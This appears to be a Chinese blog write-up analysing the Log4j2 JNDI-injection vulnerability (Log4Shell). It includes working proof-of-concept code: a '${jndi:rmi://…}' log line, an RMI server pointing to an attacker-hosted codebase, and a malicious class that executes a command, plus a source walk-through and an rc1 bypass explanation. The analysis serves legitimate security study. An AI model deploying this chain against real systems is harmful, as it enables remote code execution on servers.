Log4j2这个漏洞已经出来有一段时间了,漏洞刚出来的时候刚学JAVA没多久,想分析一波但是心有余而力不足~ 经过这一段时间的学习,今天再来分析一波这个漏洞原理。
漏洞描述
Apache Log4j 2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。是目前最优秀的Java日志框架之一。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。
影响范围
log4j <= 2.14.1
漏洞复现
首先网上找一个poc,代码很简单:
首先导入依赖:
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
然后如下代码触发漏洞:
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:rmi://172.16.3.91:1099/obj}");
}
}
根据当前环境,poc准备完成后首先要在172.16.3.91这个地址启一个RMI服务,RMI服务代码如下:
public static void main(String[] args)throws Exception
{
Hashtable env = new Hashtable();
Context ctx = new InitialContext(env);
LocateRegistry.createRegistry(1099);
Reference ref = new Reference("MyClass","MyClass","http://172.16.3.91:1234/");
ReferenceWrapper refw = new ReferenceWrapper(ref);
ctx.bind("rmi://172.16.3.91:1099/obj",refw);
}
然后用python在172.16.3.91监听1234端口,监听目录下要有一个MyClass.Class恶意类文件,恶意类源码如下:
class MyClass{
static{
try{
Runtime.getRuntime().exec("calc");
}
catch(Exception e)
{
}
}
}
一切准备就绪后,运行我们的poc代码,会发现成功弹出计算器:
漏洞分析
漏洞复现成功后,我们来分析一下漏洞原理。还是刚才的poc,调试运行,单步一步一步往下跟。
第一个比较重要的点位于org.apache.logging.log4j.core.layout.PatternLayout类中的toSerializable方法,在该方法中调用this.formatters数组中的10个PatternFormatter对象的format方法来对日志事件中的数据格式化到一个StringBuilder中。
触发漏洞的对象的数组索引是8,跟进会发现PatternFormatter调用了this.converter.format:
而converter是一个MessaagePatternConverter对象,继续跟进:
在MessagePatternConverter.format方法中,首先将我们输入的字符串与之前PatternFormatter格式化的字符串拼接成一个字符串,类似这样“15:21:15.888 [main] ERROR log4j - {”,如果有的话,则调用org.apache.logging.log4j.core.lookup.StrSubstitutor类的replace方法。
继续跟进replace方法会发现最终调用了substritute方法,继续跟进发现substritute调用了自己同名重载方法,这个方法有点长,下面分段一段一段进行简单分析:
如图,首先是寻找"${"前缀的位置。
找到最外层的前后缀后,会把中间的字符串截取出来然后递归调用substritute方法。
接下来这个for循环中进行了一些字符替换操作,这不是今天的重点,所以这里直接引用素18大佬文章:
- :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb,:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
- :- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含 :,则需要使用转义来配合处理,例如 ${aaa:\-bbb:-ccc},代表 key 是,aaa:bbb,value 是 ccc。
继续往下,最终会调用resolveVariable方法,这个方法会调用org.apache.logging.log4j.core.lookup.Interpolator类中的lookup方法。
在lookup方法中主要是获取关键字和服务字符串然后调用StrLookup.lookup。
通过Interpolator.strLookupMap可以看到一共支持12个关键字:
继续跟进StrLookup.lookup方法:
可以看到,获取了一个JndiManager,然后调用JndiManager.lookup方法。
跟进可以看到,lookup调用了this.context.lookup。
查看了一下JndiManager的创建过程,发现是通过一个工厂类构造的,通过工厂类可以看到JndiManager.Context是一个InitialContext实例。
至此,漏洞整体分析结束,也可以证实该漏洞确实由Jndi注入造成。
RC1及绕过
在漏洞遭到披露后,Log4j2 官方发布了 log4j-2.15.0-rc1 安全更新包,但经过研究后发现在开启 lookup 配置时,可以被绕过。
首先更新log4j2到2.15.0版本,然后跟一下调试流程,发现有以下两个类和之前不一样。
MessagePatternConverter
之前这个类负责处理“${}”关键字,现在这个类被重新设计了一下,这个类的功能被模块化成几个内部类,分别是LookupMessagePatternConverter、FormattedMessagePatternConverter、SimpleMessagePatternConverter三各类。
默认情况下,会调用SimpleMessagePatternConverter类进行消息的格式化处理:
可以看到,并没有对"${}"关键字进行识别处理。
对${}关键字的处理被放到了LookupMessagePatternConverter类中:
JndiManager
JndiManager.lookup方法中对JNDI协议、主机名、类名进行了白名单校验:
通过查看工厂方法可以看到具体白名单:
其中 permanentAllowedHosts 是本地 IP,permanentAllowedClasses 是八大基础数据类型加 Character,permanentAllowedProtocols 包含 java/ldap/ldaps。
但是在lookup方法中,异常处理的catch中并没有return,所以这就造成造成异常后可以继续向下运行this.context.lookup触发漏洞。
参考
总结
RC1默认关闭了lookup,在配置开启lookup时可以绕过白名单校验。
因为log4j 2.15.0更新了好几次,所以以后通过maven下载的log4j2.15.0版本是已经修复了RC1这个漏洞的RC2版本。